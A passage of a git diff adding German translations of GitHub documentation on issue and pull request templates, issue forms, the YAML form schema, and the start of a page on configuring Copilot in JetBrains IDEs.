+    - Um mehrere Pull Request-Vorlagen zu erstellen und mithilfe des Abfrageparameters `template` eine Vorlage zum Ausfüllen des Pull Request-Texts anzugeben, gib *.github/PULL_REQUEST_TEMPLATE/* gefolgt vom Namen der Pull Request-Vorlage ein. Beispiel: `.github/PULL_REQUEST_TEMPLATE/pull_request_template.md`. Du kannst auch mehrere Pull Request-Vorlagen in einem `PULL_REQUEST_TEMPLATE`-Unterverzeichnis innerhalb des Stammverzeichnisses oder des `docs/`-Verzeichnisses speichern. Weitere Informationen findest du unter [Informationen zur Automatisierung für Issues und Pull Requests mit Abfrageparametern](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters).
+  ![Mehrere neue Pull Request-Vorlagen in ausgeblendetem Verzeichnis](/assets/images/help/repository/pr-template-multiple-hidden-directory.png)
+4. Füge im Text der neuen Datei deine Pull-Request-Vorlage hinzu. Sie könnte beispielsweise Folgendes enthalten:
+    - Ein [Verweis auf ein verwandtes Issue](/articles/basic-writing-and-formatting-syntax/#referencing-issues-and-pull-requests) in deinem Repository.
+    - Eine Beschreibung der Änderungen, die im Pull Request vorgeschlagen werden.
+    - [@mentions](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) der Person oder des Teams, die bzw. das für die Überprüfung vorgeschlagener Änderungen verantwortlich ist.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} Vorlagen sind für Mitarbeiter verfügbar, wenn sie in den Standardbranch des Repositorys gemergt wurden.
+{% data reusables.files.propose_new_file %}
+
+## Weiterführende Themen
+
+- [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates)
+- [Informationen zur Automatisierung für Issues und Pull Requests mit Abfrageparametern](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)
+- [Erstellen eines Pull Requests](/articles/creating-a-pull-request)
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
new file mode 100644
index 0000000000..d0b85e5f9f
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/index.md
@@ -0,0 +1,32 @@
+---
+title: Verwenden von Vorlagen zur Förderung nützlicher Issues und Pull Requests
+shortTitle: Issue & PR templates
+intro: 'Repository-Betreuer können Vorlagen in einem Repository hinzufügen, damit Mitarbeiter hochwertige Issues und Pull Requests erstellen können.'
+redirect_from:
+  - /github/building-a-strong-community/using-issue-and-pull-request-templates
+  - /articles/using-templates-to-encourage-high-quality-issues-and-pull-requests-in-your-repository
+  - /articles/using-issue-and-pull-request-templates
+  - /github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+children:
+  - /about-issue-and-pull-request-templates
+  - /configuring-issue-templates-for-your-repository
+  - /syntax-for-issue-forms
+  - /syntax-for-githubs-form-schema
+  - /creating-a-pull-request-template-for-your-repository
+  - /manually-creating-a-single-issue-template-for-your-repository
+  - /common-validation-errors-when-creating-issue-forms
+ms.openlocfilehash: 0c249a073868a3f7e6432447ec983170e6ed3686
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105384'
+---
+
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
new file mode 100644
index 0000000000..41123888d7
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/manually-creating-a-single-issue-template-for-your-repository.md
@@ -0,0 +1,81 @@
+---
+title: Manuelles Erstellen einer einzelnen Issuevorlage für dein Repository
+intro: 'Wenn du eine manuell erstellte Issuevorlage zu deinem Repository hinzufügst, sehen Projektmitwirkende automatisch den Inhalt der Vorlage im Text des Issues.'
+redirect_from:
+  - /articles/creating-an-issue-template-for-your-repository
+  - /articles/manually-creating-a-single-issue-template-for-your-repository
+  - /github/building-a-strong-community/manually-creating-a-single-issue-template-for-your-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Community
+shortTitle: Create an issue template
+ms.openlocfilehash: 0d10da9cc3be128744a7b0465c016d1c6346b6f3
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090180'
+---
+{% data reusables.repositories.legacy-issue-template-tip %}
+
+Du kannst in jedem beliebigen unterstützten Ordner ein Unterverzeichnis namens *ISSUE_TEMPLATE* erstellen, um mehrere Issuevorlagen zu speichern. Mit dem Abfrageparameter `template` kannst du die Vorlage angeben, mit der der Issuetext ausgefüllt werden soll. Weitere Informationen findest du unter [Informationen zur Automatisierung für Issues und Pull Requests mit Abfrageparametern](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters).
+
+Du kannst YAML-Titelei zu jeder Issuevorlage hinzufügen, um den Issuetitel vorab auszufüllen, automatisch Kennzeichnungen und Bearbeiter hinzuzufügen und der Vorlage einen Namen und eine Beschreibung zu geben, die in der Vorlagenauswahl angezeigt wird, die Personen bei Erstellen von neuen Issues in deinem Repository sehen.
+
+Hier ist ein Beispiel für eine YAML-Titelei.
+
+```yaml
+---
+name: Tracking issue
+about: Use this template for tracking new features.
+title: "[DATE]: [FEATURE NAME]"
+labels: tracking issue, needs triage
+assignees: octocat
+---
+```
+{% note %}
+
+**Hinweis**: Wenn ein Titeleiwert ein in YAML reserviertes Zeichen wie z. B. `:` enthält, musst du den gesamten Wert in Anführungszeichen setzen. Zum Beispiel: `":bug: Bug"` oder `":new: triage needed, :bug: bug"`.
+
+{% endnote %}
+
+{% ifversion fpt or ghec %}
+
+{% data reusables.repositories.valid-community-issues %}
+
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+
+{% data reusables.repositories.default-issue-templates %}
+
+{% endif %}
+
+## Eine Issuevorlage hinzufügen
+
+{% data reusables.repositories.navigate-to-repo %} {% data reusables.files.add-file %}
+3. Gib Folgendes im Feld für den Dateinamen ein:
+    -  Wenn die Issuevorlage im Stammverzeichnis des Repositorys sichtbar sein soll, gib den Namen deiner *issue_template* ein. Beispiel: `issue_template.md`.
+  ![Name der neuen Issuevorlage im Stammverzeichnis](/assets/images/help/repository/issue-template-file-name.png)
+    - Wenn die Issuevorlage im `docs`-Verzeichnis des Repositorys sichtbar sein soll, gib *docs/* gefolgt vom Namen deiner *issue_template* ein. Beispiel: `docs/issue_template.md`, ![Neue Issuevorlage im docs-Verzeichnis](/assets/images/help/repository/issue-template-file-name-docs.png)
+    - Um deine Datei in einem ausgeblendeten Verzeichnis zu speichern, gib *.github/* gefolgt vom Namen der *issue_template* ein. Beispiel: `.github/issue_template.md`.
+  ![Neue Issuevorlage in ausgeblendetem Verzeichnis](/assets/images/help/repository/issue-template-hidden-directory.png)
+    - Um mehrere Issuevorlagen zu erstellen und mithilfe des Abfrageparameters `template` eine Vorlage zum Ausfüllen des Issuetexts anzugeben, gib *.github/ISSUE_TEMPLATE/* gefolgt vom Namen der Issuevorlage ein. Beispiel: `.github/ISSUE_TEMPLATE/issue_template.md`. Du kannst auch mehrere Issuevorlagen in einem `ISSUE_TEMPLATE`-Unterverzeichnis innerhalb des Stammverzeichnisses oder des `docs/`-Verzeichnisses speichern. Weitere Informationen findest du unter [Informationen zur Automatisierung für Issues und Pull Requests mit Abfrageparametern](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters).
+  ![Mehrere neue Issuevorlagen in ausgeblendetem Verzeichnis](/assets/images/help/repository/issue-template-multiple-hidden-directory.png)
+4. Füge im Text der neuen Datei deine Issuevorlage hinzu. Sie könnte Folgendes enthalten:
+    - YAML-Titelei
+    - Erwartetes und tatsächliches Verhalten
+    - Schritte zum Reproduzieren des Problems
+    - Spezifikationen wie die Version des Projekts, des Betriebssystems oder der Hardware {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} Vorlagen sind für Mitarbeiter beim Mergen in den Standardbranch des Repositorys verfügbar.
+{% data reusables.files.propose_new_file %}
+
+## Weiterführende Themen
+
+- [Informationen zu Vorlagen für Issues und Pull Requests](/articles/about-issue-and-pull-request-templates)
+- [Konfigurieren von Issuevorlagen für dein Repository](/articles/configuring-issue-templates-for-your-repository)
+- [Informationen zur Automatisierung für Issues und Pull Requests mit Abfrageparametern](/articles/about-automation-for-issues-and-pull-requests-with-query-parameters)
+- [Erstellen eines Issues](/articles/creating-an-issue)
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md
new file mode 100644
index 0000000000..8f20c79ebb
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema.md
@@ -0,0 +1,270 @@
+---
+title: Syntax für das GitHub-Formularschema
+intro: 'Du kannst mit dem Formularschema von {% data variables.product.company_short %} Formulare für unterstützte Features konfigurieren.'
+versions:
+  fpt: '*'
+  ghec: '*'
+miniTocMaxHeadingLevel: 3
+topics:
+  - Community
+ms.openlocfilehash: 2a329c7c0a7f1943f7515059c3f376fa36ea29b1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145105383'
+---
+{% note %}
+
+**Hinweis:** Das Formularschema von {% data variables.product.company_short %} befindet sich derzeit in der Betaphase und kann noch geändert werden.
+
+{% endnote %}
+
+## Informationen zum Formularschema von {% data variables.product.company_short %}
+
+Du kannst mit dem Formularschema von {% data variables.product.company_short %} Formulare für unterstützte Features konfigurieren. Weitere Informationen findest du unter [Konfigurieren von Issuevorlagen für dein Repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms).
+
+Ein Formular ist ein Satz von Elementen zum Anfordern von Benutzereingaben. Du kannst ein Formular konfigurieren, indem du eine YAML-Formulardefinition erstellst, die ein Array von Formularelementen ist. Jedes Formularelement ist ein Satz von Schlüssel-Wert-Paaren, die den Typ des Elements, die Eigenschaften des Elements und die Einschränkungen bestimmen, die du auf das Element anwenden möchtest. Bei einigen Schlüsseln ist der Wert ein weiterer Satz von Schlüssel-Wert-Paaren.
+
+Die folgende Formulardefinition enthält beispielsweise vier Formularelemente: einen Textbereich für die Bereitstellung des Betriebssystems des Benutzers, ein Dropdownmenü zum Auswählen der Softwareversion, die der Benutzer ausführt, ein Kontrollkästchen, um die Verhaltensregeln zu bestätigen, und Markdown, um dem Benutzer zum Ausfüllen des Formulars zu danken.
+
+```yaml{:copy}
+- type: textarea
+  attributes:
+    label: Operating System
+    description: What operating system are you using?
+    placeholder: Example: macOS Big Sur
+    value: operating system
+  validations:
+    required: true
+- type: dropdown
+  attributes:
+    label: Version
+    description: What version of our software are you running?
+    multiple: false
+    options:
+      - label: 1.0.2 (Default)
+      - label: 1.0.3 (Edge)
+  validations:
+    required: true
+- type: checkboxes
+  attributes:
+    label: Code of Conduct
+    description: The Code of Conduct helps create a safe space for everyone. We require
+      that everyone agrees to it.
+    options:
+      - label: I agree to follow this project's [Code of Conduct](link/to/coc)
+        required: true
+- type: markdown
+  attributes:
+    value: "Thanks for completing our form!"
+```
+
+## Tasten
+
+Für jedes Formularelement kannst du die folgenden Schlüssel festlegen.
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `type` | Der Typ des Elements, das du definieren möchtest. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | <ul><li>`checkboxes`</li><li>`dropdown`</li><li>`input`</li><li>`markdown`</li><li>`textarea`</li></ul> |
+| `id` | Der Bezeichner für das Element, außer wenn `type` auf `markdown` gesetzt ist. {% data reusables.form-schema.id-must-be-unique %} Wenn angegeben, ist `id` der kanonische Bezeichner für das Feld im URL-Abfrageparameter. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `attributes` | Ein Satz von Schlüssel-Wert-Paaren, die die Eigenschaften des Elements definieren.  | Erforderlich | Hash | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `validations` | Ein Satz von Schlüssel-Wert-Paaren, die Einschränkungen für das Element festlegen. | Optional | Hash | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+
+Du hast die Wahl zwischen den folgenden Typen von Formularelementen. Jeder Typ hat eindeutige Attribute und Validierungen.
+
+| type | BESCHREIBUNG |
+| ---- | ----------- |
+| [`markdown`](#markdown) | Markdown-Text, der im Formular angezeigt wird, um dem Benutzer zusätzlichen Kontext zu bieten, jedoch **nicht übermittelt** wird. |
+| [`textarea`](#textarea) | Ein mehrzeiliges Textfeld. |
+| [`input`](#input) | Ein einzeiliges Textfeld. |
+| [`dropdown`](#dropdown) | Ein Dropdownmenü. |
+| [`checkboxes`](#checkboxes) | Ein Satz von Kontrollkästchen. |
+
+### `markdown`
+
+Mit einem `markdown`-Element kannst du Markdown in deinem Formular anzuzeigen, um dem Benutzer zusätzlichen Kontext zu bieten, Markdown wird aber nicht übermittelt.
+
+#### Attribute
+
+{% data reusables.form-schema.attributes-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `value` | Der Text, der gerendert wird. Markdown-Formatierung wird unterstützt. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+
+{% tip %}
+
+**Tipp:** Die YAML-Verarbeitung behandelt das Hashsymbol als Kommentar. Um Markdown-Kopfzeilen einzufügen, schließe den Text in Anführungszeichen ein.
+
+Für mehrzeiligen Text kannst du den Pipe-Operator verwenden.
+
+{% endtip %}
+
+#### Beispiel
+
+```YAML{:copy}
+body:
+- type: markdown
+  attributes:
+    value: "## Thank you for contributing to our project!"
+- type: markdown
+  attributes:
+    value: |
+      Thanks for taking the time to fill out this bug report.
+```
+
+### `textarea`
+
+Du kannst mit einem `textarea`-Element deinem Formular ein mehrzeiliges Textfeld hinzufügen. Mitwirkende können auch Dateien in `textarea`-Feldern anfügen.
+
+#### Attribute
+
+{% data reusables.form-schema.attributes-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `label` | Eine auch im Formular angezeigte kurze Beschreibung der erwarteten Benutzereingabe. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `description` | Eine im Formular angezeigte Beschreibung des Textbereichs, die Kontext oder Anleitungen bereitstellt. | Optional | String | Leere Zeichenfolge | {% octicon "dash" aria-label="The dash icon" %} |
+| `placeholder` | Ein halbdurchsichtiger Platzhalter, der im Textbereich gerendert wird, wenn er leer ist. | Optional | String | Leere Zeichenfolge | {% octicon "dash" aria-label="The dash icon" %} |
+| `value` | Im Textbereich als Vorgabe angezeigter Text. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `render` | Wenn ein Wert angegeben wird, wird übermittelter Text in einen Codeblock formatiert. Wenn dieser Schlüssel bereitgestellt wird, wird der Textbereich nicht für Dateianlagen oder Markdown-Bearbeitung erweitert. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | Sprachen, die {% data variables.product.prodname_dotcom %} bekannt sind. Weitere Informationen findest du in der [YAML-Datei der Sprachen](https://github.com/github/linguist/blob/master/lib/linguist/languages.yml). |
+
+#### Überprüfungen
+
+{% data reusables.form-schema.validations-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+{% data reusables.form-schema.required-key %}
+
+#### Beispiel
+
+```YAML{:copy}
+body:
+- type: textarea
+  id: repro
+  attributes:
+    label: Reproduction steps
+    description: "How do you trigger this bug? Please walk us through it step by step."
+    value: |
+      1.
+      2.
+      3.
+      ...
+    render: bash
+  validations:
+    required: true
+```
+
+### `input`
+
+Du kannst mit einem `input`-Element deinem Formular ein einzeiliges Textfeld hinzufügen.
+
+#### Attribute
+
+{% data reusables.form-schema.attributes-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `label` | Eine auch im Formular angezeigte kurze Beschreibung der erwarteten Benutzereingabe. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `description` | Eine im Formular angezeigte Beschreibung des Felds, die Kontext oder Anleitungen bereitstellt. | Optional | String | Leere Zeichenfolge | {% octicon "dash" aria-label="The dash icon" %} |
+| `placeholder` | Ein halbdurchsichtiger Platzhalter, der im Feld gerendert wird, wenn es leer ist. | Optional | String | Leere Zeichenfolge | {% octicon "dash" aria-label="The dash icon" %} |
+| `value` | Im Feld als Vorgabe angezeigter Text. | Optional | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+
+#### Überprüfungen
+
+{% data reusables.form-schema.validations-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+{% data reusables.form-schema.required-key %}
+
+#### Beispiel
+
+```YAML{:copy}
+body:
+- type: input
+  id: prevalence
+  attributes:
+    label: Bug prevalence
+    description: "How often do you or others encounter this bug?"
+    placeholder: "Example: Whenever I visit the personal account page (1-2 times a week)"
+  validations:
+    required: true
+```
+
+### `dropdown`
+
+Mit einem `dropdown`-Element kannst du deinem Formular ein Dropdownmenü hinzufügen.
+
+#### Attribute
+
+{% data reusables.form-schema.attributes-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `label` | Eine im Formular angezeigte kurze Beschreibung der erwarteten Benutzereingabe. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `description` | Eine im Formular angezeigte Beschreibung des Dropdownmenüs, die zusätzlichen Kontext oder Anleitungen bereitstellt. | Optional | String | Leere Zeichenfolge | {% octicon "dash" aria-label="The dash icon" %} |
+| `multiple` | Bestimmt, ob der Benutzer mehrere Optionen auswählen kann. | Optional | Boolean | false | {% octicon "dash" aria-label="The dash icon" %} |
+| `options` | Ein Array von Optionen, aus dem der Benutzer auswählen kann. Kann nicht leer sein, und alle Auswahlmöglichkeiten müssen eindeutig sein. | Erforderlich | Zeichenfolgenarray | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+
+#### Überprüfungen
+
+{% data reusables.form-schema.validations-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+{% data reusables.form-schema.required-key %}
+
+#### Beispiel
+
+```YAML{:copy}
+body:
+- type: dropdown
+  id: download
+  attributes:
+    label: How did you download the software?
+    options:
+      - Homebrew
+      - MacPorts
+      - apt-get
+      - Built from source
+  validations:
+    required: true
+```
+
+### `checkboxes`
+
+Du kannst mit dem `checkboxes`-Element deinem Formular einen Satz von Kontrollkästchen hinzufügen.
+
+#### Attribute
+
+{% data reusables.form-schema.attributes-intro %}
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type | Standard | Gültige Werte |
+| --- | ----------- | -------- | ---- | ------- | ------- |
+| `label` | Eine im Formular angezeigte kurze Beschreibung der erwarteten Benutzereingabe. | Erforderlich | String | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+| `description` | Eine im Formular angezeigte Beschreibung des Satzes von Kontrollkästchen. Unterstützt Markdown-Formatierung. | Optional | String | Leere Zeichenfolge | {% octicon "dash" aria-label="The dash icon" %} |
+| `options` | Ein Array von Kontrollkästchen, die der Benutzer auswählen kann. Syntax siehe unten. | Erforderlich | Array | {% octicon "dash" aria-label="The dash icon" %} | {% octicon "dash" aria-label="The dash icon" %} |
+
+{% data reusables.form-schema.options-syntax %} {% data reusables.form-schema.required-key %}
+
+#### Beispiel
+
+```YAML{:copy}
+body:
+- type: checkboxes
+  id: operating-systems
+  attributes:
+    label: Which operating systems have you used?
+    description: You may select more than one.
+    options:
+      - label: macOS
+      - label: Windows
+      - label: Linux
+```
+
+## Weiterführende Themen
+
+- [YAML](https://yaml.org)
diff --git a/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md
new file mode 100644
index 0000000000..015db69e41
--- /dev/null
+++ b/translations/de-DE/content/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-issue-forms.md
@@ -0,0 +1,173 @@
+---
+title: Syntax für Issueformulare
+intro: 'Du kannst verschiedene Eingabetypen, Überprüfungen, Standardpersonen für die Zuweisungen und Standardbezeichnungen für deine Issueformulare definieren.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Community
+ms.openlocfilehash: 7e147868ce370b57c6a7437bc81f7b554f50443b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145090168'
+---
+{% data reusables.community.issue-forms-beta %}
+
+## Informationen zur YAML-Syntax für Issueformulare
+
+Du kannst benutzerdefinierte Issueformulare erstellen, indem du dem Ordner `/.github/ISSUE_TEMPLATE` in deinem Repository eine YAML-Formulardefinitionsdatei hinzufügst. {% data reusables.actions.learn-more-about-yaml %} Du kannst verschiedene Eingabetypen, Überprüfungen, Standardpersonen für die Zuweisungen und Standardbezeichnungen für deine Issueformulare definieren.
+
+Wenn ein Mitwirkender ein Issueformular ausfüllt, werden seine Antworten für jede Eingabe in Markdown konvertiert und dem Textkörper eines Issues hinzugefügt. Mitwirkende können ihre über Issueformulare erstellten Issues bearbeiten, und andere Personen können mit den Issues genau wie mit Issues interagieren, die über andere Methoden erstellt wurden.
+
+Issueformulare werden für Pull Requests nicht unterstützt. Du kannst in deinen Repositorys Pull Request-Vorlagen erstellen, die von Mitarbeitern verwendet werden sollen. Weitere Informationen findest du unter [Erstellen einer Pull Request-Vorlage für dein Repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/creating-a-pull-request-template-for-your-repository).
+
+In diesem Beispiel definiert die YAML-Konfigurationsdatei ein Issueformular mit mehreren Eingaben zum Melden eines Fehlers.
+
+{% data reusables.community.issue-forms-sample %}
+
+## Syntax auf oberster Ebene
+
+Alle Konfigurationsdateien für Issueformulare müssen mit Schlüssel-Wert-Paaren für `name`, `description` und `body` beginnen.
+
+```YAML{:copy}
+name:
+description:
+body:
+```
+
+Du kannst für jedes Issueformular die folgenden Schlüssel auf oberster Ebene festlegen.
+
+| Schlüssel | BESCHREIBUNG | Erforderlich | type |
+| :-- | :-- | :-- | :-- | :-- |
+| `name` | Ein Name für die Issueformularvorlage. Muss sich von allen anderen Vorlagen, einschließlich Markdownvorlagen, eindeutig unterscheiden. | Erforderlich | String |
+| `description` | Eine Beschreibung für die Issueformularvorlage, die in der Oberfläche zur Vorlagenauswahl angezeigt wird. | Erforderlich | String |
+| `body` | Definition der Eingabetypen im Formular. | Erforderlich | Array |
+| `assignees` | Personen, die automatisch den mit dieser Vorlage erstellten Issues zugewiesen werden. | Optional | Array oder durch Trennzeichen getrennte Zeichenfolge |
+| `labels` | Bezeichnungen, die automatisch den mit dieser Vorlage erstellten Issues hinzugefügt werden. | Optional | Array oder durch Trennzeichen getrennte Zeichenfolge |
+| `title` | Ein Standardtitel, der im Issueübermittlungsformular vorab ausgefüllt wird. | Optional | String |
+
+Eine Liste der verfügbaren `body`-Eingabetypen sowie die zugehörige Syntax findest du unter [Syntax for {% data variables.product.prodname_dotcom %}'s form schema](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/syntax-for-githubs-form-schema) („Syntax für das GitHub-Formularschema“).
+
+## Konvertieren einer Markdownissuevorlage in eine YAML-Issueformularvorlage
+
+Du kannst sowohl Markdown- als auch YAML-Issuevorlagen in deinem Repository verwenden. Wenn du eine Markdownissuevorlage in eine YAML-Issueformularvorlage konvertieren möchtest, musst du eine neue YAML-Datei erstellen, um das Issueformular zu definieren. Du kannst eine vorhandene Markdownissuevorlage manuell in ein YAML-Issueformular transponieren. Weitere Informationen findest du unter [Konfigurieren von Issuevorlagen für dein Repository](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/configuring-issue-templates-for-your-repository#creating-issue-forms).
+
+Wenn du denselben Dateinamen für dein YAML-Issueformular verwenden möchtest, musst du die Markdownissuevorlage löschen, wenn du die neue Datei per Commit in dein Repository übernimmst.
+
+Ein Beispiel für eine Markdownissuevorlage und eine entsprechende YAML-Issueformularvorlage findest du unten.
+
+### Markdownissuevorlage
+
+```markdown{:copy}
+---
+name: 🐞 Bug
+about: File a bug/issue
+title: '[BUG] <title>'
+labels: Bug, Needs Triage
+assignees: ''
+
+---
+
+{% raw %}<{% endraw %}!--
+Note: Please search to see if an issue already exists for the bug you encountered.
+--{% raw %}>{% endraw %}
+
+### Current Behavior:
+{% raw %}<{% endraw %}!-- A concise description of what you're experiencing. --{% raw %}>{% endraw %}
+
+### Expected Behavior:
+{% raw %}<{% endraw %}!-- A concise description of what you expected to happen. --{% raw %}>{% endraw %}
+
+### Steps To Reproduce:
+{% raw %}<{% endraw %}!--
+Example: steps to reproduce the behavior:
+1. In this environment...
+2. With this config...
+3. Run '...'
+4. See error...
+--{% raw %}>{% endraw %}
+
+### Environment:
+{% raw %}<{% endraw %}!--
+Example:
+- OS: Ubuntu 20.04
+- Node: 13.14.0
+- npm: 7.6.3
+--{% raw %}>{% endraw %}
+
+### Anything else:
+{% raw %}<{% endraw %}!--
+Links? References? Anything that will give us more context about the issue that you are encountering!
+--{% raw %}>{% endraw %}
+```
+
+### YAML-Issueformularvorlage
+
+```yaml{:copy}
+name: 🐞 Bug
+description: File a bug/issue
+title: "[BUG] <title>"
+labels: [Bug, Needs Triage]
+body:
+- type: checkboxes
+  attributes:
+    label: Is there an existing issue for this?
+    description: Please search to see if an issue already exists for the bug you encountered.
+    options:
+    - label: I have searched the existing issues
+      required: true
+- type: textarea
+  attributes:
+    label: Current Behavior
+    description: A concise description of what you're experiencing.
+  validations:
+    required: false
+- type: textarea
+  attributes:
+    label: Expected Behavior
+    description: A concise description of what you expected to happen.
+  validations:
+    required: false
+- type: textarea
+  attributes:
+    label: Steps To Reproduce
+    description: Steps to reproduce the behavior.
+    placeholder: |
+      1. In this environment...
+      2. With this config...
+      3. Run '...'
+      4. See error...
+  validations:
+    required: false
+- type: textarea
+  attributes:
+    label: Environment
+    description: |
+      examples:
+        - **OS**: Ubuntu 20.04
+        - **Node**: 13.14.0
+        - **npm**: 7.6.3
+    value: |
+        - OS:
+        - Node:
+        - npm:
+    render: markdown
+  validations:
+    required: false
+- type: textarea
+  attributes:
+    label: Anything else?
+    description: |
+      Links? References? Anything that will give us more context about the issue you are encountering!
+
+      Tip: You can attach images or log files by clicking this area to highlight it and then dragging files in.
+  validations:
+    required: false
+```
+
+## Weitere Informationsquellen
+
+- [YAML](https://yaml.org/)
+- [Häufige Validierungsfehler beim Erstellen von Issueformularen](/communities/using-templates-to-encourage-useful-issues-and-pull-requests/common-validation-errors-when-creating-issue-forms)
diff --git a/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md
new file mode 100644
index 0000000000..5cf2bdad28
--- /dev/null
+++ b/translations/de-DE/content/copilot/configuring-github-copilot/configuring-github-copilot-in-a-jetbrains-ide.md
@@ -0,0 +1,88 @@
+---
+title: Konfigurieren von GitHub Copilot in einer JetBrains-IDE
+intro: 'Du kannst in einer JetBrains-IDE {% data variables.product.prodname_copilot %} aktivieren, konfigurieren oder deaktivieren.'
+product: '{% data reusables.gated-features.copilot %}'
+topics:
+  - Copilot
+versions:
+  feature: copilot
+shortTitle: JetBrains
+ms.openlocfilehash: 845f9306f519391f165dd00d3eefebed67bd409a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147080286'
+---
+## Informationen zu {% data variables.product.prodname_copilot %} in JetBrains-IDEs
+
+Wenn du eine Jetbrains-IDE verwendest, kann {% data variables.product.prodname_copilot %} den Code bei deiner Eingabe automatisch vervollständigen. Nach der Installation kannst du {% data variables.product.prodname_copilot %} aktivieren oder deaktivieren. Außerdem kannst du erweiterte Einstellungen innerhalb deiner IDE oder auf {% data variables.product.prodname_dotcom_the_website %} konfigurieren.
+
